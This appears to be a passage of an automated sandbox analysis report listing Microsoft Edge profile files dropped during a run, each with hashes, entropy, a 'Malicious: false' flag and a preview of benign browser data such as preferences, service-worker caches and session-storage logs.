C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\ccc48800-c3d1-488a-a3e6-5aa45d79e962.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\e7fb9dcb-c365-4545-b91e-6c392d45a9fd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\f0c824f8-b965-417b-a6d1-87c1d2dfbb35.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13195
Entropy (8bit):	5.223459852612186
Encrypted:	false
SSDEEP:	192:stCJ99QTryDigabatSuypas3ntIa34HknYkXK83bV+F5uQwu+42q7NIi+PdYJ:stCPGKSu4as3tX1bGwQwufJ7NIi5
MD5:	8DB411FAE91917DFF2D781CFCE6A7696
SHA1:	6249DC2FDB2F2F3242CD6A5BC37E3D8F24109737
SHA-256:	64A05CBB9DBBCE93690E58CC4776C81CB5136D9517A6E616457888F7E5634337
SHA-512:	699EAB83799FB8379F864311CBEEDC0ADDE1C6123EE62C3C27FBFF8ADCC7455EB6DB116633B774600A818E643865328E424FEAA26F0C72997460369F7F92E132
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13383420244503143","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3809b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13195
Entropy (8bit):	5.223459852612186
Encrypted:	false
SSDEEP:	192:stCJ99QTryDigabatSuypas3ntIa34HknYkXK83bV+F5uQwu+42q7NIi+PdYJ:stCPGKSu4as3tX1bGwQwufJ7NIi5
MD5:	8DB411FAE91917DFF2D781CFCE6A7696
SHA1:	6249DC2FDB2F2F3242CD6A5BC37E3D8F24109737
SHA-256:	64A05CBB9DBBCE93690E58CC4776C81CB5136D9517A6E616457888F7E5634337
SHA-512:	699EAB83799FB8379F864311CBEEDC0ADDE1C6123EE62C3C27FBFF8ADCC7455EB6DB116633B774600A818E643865328E424FEAA26F0C72997460369F7F92E132
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13383420244503143","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3ce6d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13195
Entropy (8bit):	5.223459852612186
Encrypted:	false
SSDEEP:	192:stCJ99QTryDigabatSuypas3ntIa34HknYkXK83bV+F5uQwu+42q7NIi+PdYJ:stCPGKSu4as3tX1bGwQwufJ7NIi5
MD5:	8DB411FAE91917DFF2D781CFCE6A7696
SHA1:	6249DC2FDB2F2F3242CD6A5BC37E3D8F24109737
SHA-256:	64A05CBB9DBBCE93690E58CC4776C81CB5136D9517A6E616457888F7E5634337
SHA-512:	699EAB83799FB8379F864311CBEEDC0ADDE1C6123EE62C3C27FBFF8ADCC7455EB6DB116633B774600A818E643865328E424FEAA26F0C72997460369F7F92E132
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13383420244503143","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35445
Entropy (8bit):	5.557867397878153
Encrypted:	false
SSDEEP:	768:nMrQSBWP+kftC8F1+UoAYDCx9Tuqh0VfUC9xbog/OVAj+Yc6IrwtLEjqKp0tuE:nMrQSBWP+kftCu1jaXiYc6ZtLEmZtH
MD5:	0DDF93EE9A9FFF5F0AD1822C38E98ECC
SHA1:	D24DF141F41A627F03E19030DB9928FBA1BB2ACC
SHA-256:	232D616DA650AD354B265EF4B17FE3BF07D559691F53B147AAD591BA6BE9A833
SHA-512:	243D3760D21EB7ACB6C868DF36DE81A17D9E0C6FF9395AC1AA8AE2E50C005614E0524341F972F431A72D8CE8318EB6547DA9EF5C98C9BBD8A43C5540D679E2E1
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13383420243819375","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13383420243819375","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3829e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35445
Entropy (8bit):	5.557867397878153
Encrypted:	false
SSDEEP:	768:nMrQSBWP+kftC8F1+UoAYDCx9Tuqh0VfUC9xbog/OVAj+Yc6IrwtLEjqKp0tuE:nMrQSBWP+kftCu1jaXiYc6ZtLEmZtH
MD5:	0DDF93EE9A9FFF5F0AD1822C38E98ECC
SHA1:	D24DF141F41A627F03E19030DB9928FBA1BB2ACC
SHA-256:	232D616DA650AD354B265EF4B17FE3BF07D559691F53B147AAD591BA6BE9A833
SHA-512:	243D3760D21EB7ACB6C868DF36DE81A17D9E0C6FF9395AC1AA8AE2E50C005614E0524341F972F431A72D8CE8318EB6547DA9EF5C98C9BBD8A43C5540D679E2E1
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13383420243819375","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13383420243819375","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2394
Entropy (8bit):	5.809960511150104
Encrypted:	false
SSDEEP:	24:F2xc5NmacncmoDCRORpllg2hEsyfRH4ldCRORpllg2hh7HOOkFCRORpllg2hEsNH:F2emjMrd69fBsrdXLmrd6ABOrdKBj
MD5:	6938257EE6535C81A81DC529D74497B8
SHA1:	929DF44097AB81FE3A3181DC13C084CFCD2F83FC
SHA-256:	2F5CE10D5F7FB702D4721D37FDBF06E62563A41D07AB6A8024699A969FEB3782
SHA-512:	DE72BAFD1C29B4139FF35FAB591A524BBB84F3D26079A7A6B72E3555B87C0518D3548C3EECA68FE11BEA1C32BE5DA2D94824E8C72B31E32F14DF3E9FD0A2854A
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.21..,.................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true .(.0.8......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x.................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmpt

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	297
Entropy (8bit):	5.204522485316626
Encrypted:	false
SSDEEP:	6:iOXgD1CHhJ23oH+TcwtE/a252KLl1g63+q2PCHhJ23oH+TcwtE/a2ZIFUv:7WYeb8xLZOvBYeb8J2FUv
MD5:	FA994B1A05CBDF8E626A43F017081345
SHA1:	3C7F09D688EE23831FD3920D0B4B3643B422C032
SHA-256:	D757AB3081D2D61F4FE58CA1CE1B2028A35F3659F165567AB32AED3A8D493BAB
SHA-512:	3BAD4640F72B895FEA9A280AA9E27BEDD51BE19E199363E05081B530BD0EDFE70F85CD2BE6FA65361901F2060156701B7F533A1BED99F14CE271CFD8BB74410D
Malicious:	false
Preview:	2025/02/07-11:44:12.530 878 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2025/02/07-11:44:12.546 878 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	116426
Entropy (8bit):	5.575476834118252
Encrypted:	false
SSDEEP:	1536:WI906CxPXfO8a1PEYeIlL/NvKKd1XCjA3DONDFePJCDZOl8fS6Lc3JdKP/zPXLRh:39LCxPXfO8a1P5eIlL/tKK1XG4CC4
MD5:	392FBEB13EF8FB9BF63200CCBE450890
SHA1:	97ACBEE1DC9BF979CBD1E302D89D8E688CB807CA
SHA-256:	E7F5A27B0CFFE28B2CE4AE296716855AB45CC5E9A1695EBF6B5AE0843CF0CCCE
SHA-512:	1A7380EC921715AC4071FDFB511494826D07F76E3076EB55DA612AE5D70B3965625467E5D1BD1DC6B6856086A452E3701009AE5A9EE9DA05E7BBD93C131FA35B
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	191673
Entropy (8bit):	6.389931313308407
Encrypted:	false
SSDEEP:	3072:VAP511+qM0oj0w0BvkqtwgGRL/CeX2g8tL2oLqrlN9LtjjVnLpUnxWViVg9OMv/u:+W0wiVq7RL/FmHLdLqrlN9LtjjVnLpUV
MD5:	08EE519A5A270A62E02C82C2EDEF5203
SHA1:	228666A25C701ACF36E587BAF64DC86139D8332D
SHA-256:	47CDD102917E7E402BA033C834DF1D09B298354430BCDCE6D6D5527A52DEDB18
SHA-512:	0E01ABCEAD19F2954AFD98EE2EF1A459E4BAB282809F80211DCBB99D6C5404FC3D8F95200C9F1A14BC2FEE806E73DEAFCE9CE9C32A514A4504BD0EADD6C443D3
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;....x.`........,T.8..`,.....L`.....,T...`......L`......RcFk......exports...Rc.H8.....module....Rc.V.n....define....Rb..g....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v.....................".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H........Q...6U1T{...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true.a........Db............D`.....A..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....i...,T.`.`z.....L`..........a............a.........Dr8..............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:xxH9Xl/lXn/lxEstll/YC//Ds:LHNIsa8/Ds
MD5:	A140266F9D22D4F8184906033987FD86
SHA1:	B0C0A8A8278A23AA2F8ED3B08F39BB93FFD3DE3F
SHA-256:	45C876B285BDE8FC0B866FEE87486177302A723F961072E876078DA3023B3261
SHA-512:	C4EB8D8BC82EA146D0472CB49B78321EE8C0B9B7C13D586C1F6AA1E0489AAA579BBF8CA0898845B0CDCB440F5108D386D523A9F66582E6B9FDC601D159CE5CAA
Malicious:	false
Preview:	@......8oy retne.........................X....,.................g.Z&./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:xxH9Xl/lXn/lxEstll/YC//Ds:LHNIsa8/Ds
MD5:	A140266F9D22D4F8184906033987FD86
SHA1:	B0C0A8A8278A23AA2F8ED3B08F39BB93FFD3DE3F
SHA-256:	45C876B285BDE8FC0B866FEE87486177302A723F961072E876078DA3023B3261
SHA-512:	C4EB8D8BC82EA146D0472CB49B78321EE8C0B9B7C13D586C1F6AA1E0489AAA579BBF8CA0898845B0CDCB440F5108D386D523A9F66582E6B9FDC601D159CE5CAA
Malicious:	false
Preview:	@......8oy retne.........................X....,.................g.Z&./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF3a6ef.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:xxH9Xl/lXn/lxEstll/YC//Ds:LHNIsa8/Ds
MD5:	A140266F9D22D4F8184906033987FD86
SHA1:	B0C0A8A8278A23AA2F8ED3B08F39BB93FFD3DE3F
SHA-256:	45C876B285BDE8FC0B866FEE87486177302A723F961072E876078DA3023B3261
SHA-512:	C4EB8D8BC82EA146D0472CB49B78321EE8C0B9B7C13D586C1F6AA1E0489AAA579BBF8CA0898845B0CDCB440F5108D386D523A9F66582E6B9FDC601D159CE5CAA
Malicious:	false
Preview:	@......8oy retne.........................X....,.................g.Z&./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	7019
Entropy (8bit):	3.3823290296179076
Encrypted:	false
SSDEEP:	96:D49b7Xrp3BM2zYVwmTZf0p+m+ViTvrvEregRERYZ0/gtOhquku4yMeD:0XrfMxHSp+mKi7rIlak0/gtAku4yr
MD5:	22A8EA8E184F912B81FB6600622BAC4F
SHA1:	DCA8F7984E509152B905F3B8ADD2905B1B08382F
SHA-256:	806654AC2DBF9FFFE51D7960D6B0E36E88FEBD7B4952A4DDCCAFE5AA5DBEDC62
SHA-512:	AC157147671F061DE8052735A84208F52E6BFEF6725C98776D060C873254F62B5DAAE89930FCF00CEB2C2D297C1D8DE53B96FE340198CD5CC50A3EA7B6A041EB
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f.................h.b................next-map-id.1.Cnamespace-b4306cba_5932_4a7c_9b54_6572e19a77e9-https://ntp.msn.com/.05...&................map-0-shd_sweeper.3{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.f.i.n.-.c.o.m.p.o.f.,.p.r.g.-.f.i.n.-.h.p.o.f.l.i.o.,.p.r.g.-.f.i.n.-.p.o.f.l.i.o.,.p.r.g.-.h.p.-.c.w.t.r.f.l.-.i.n.f.c.2.,.a.d.s.-.c.f.v.4.2.,.p.r.g.-.m.s.n.-.b.l.s.b.i.d.m.h.o.,.p.r.g.-.1.s.w.-.s.a.l.3.l.i.s.t.r.c.,.p.r.g.-.1.s.w.-.c.-.r.p.d.l.n.c.h.-.3.6.7.0.3.,.p.r.g.-.1.s.w.-.c.r.b.n.d.l.-.t.,.p.r.g.-.1.s.w.-.t.-.c.r.b.n.d.l.,.1.s.-.t.p.s.n.-.w.i.n.h.p.d.t.-.c.,.1.s.-.t.p.s.n.-.w.i.n.h.p.d.t.p.c.,.1.s.-.w.p.o.-.p.r.1.-.x.p.l.r.-.c.,.p.r.g.-.a.d.s.p.e.e.k.,.p.r.g.-.1.s.w.-.p.2.-.e.b.c.a.p.l.i.m.-.t.1.,.p.r.g.-.p.r.2.-.m.a.r.k.e.t.s.e.l.-.c.,.b.t.i.e.-.a.d.-.d.p.r.-.c.2.,.p.r.g.-.a.d.-.d.p.r.-.r.f.,.1.s.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.137857673614221
Encrypted:	false
SSDEEP:	6:iOXgUvIq2PCHhJ23oH+TcwtrQMxIFUtFgCXZmw7gu7kwOCHhJ23oH+TcwtrQMFLJ:7FvIvBYebCFUtT/z756YebtJ
MD5:	7D7344E63B1C92E4D0986809CE129287
SHA1:	EA3E1A547116719452863B9C79731F4F0BA3439D
SHA-256:	0B8A8925A580DC163C663E578B5F30FC29BD2F4311B4997788204DAC343E761A
SHA-512:	BC4692408A85DB5BA27D9C78EC6111547A36084917C8C3D089D9B752E0C0BA10E2FC7D6538736B49D53984F89CCA37E105E104E4EDEC388FA34CF5B034F35638
Malicious:	false
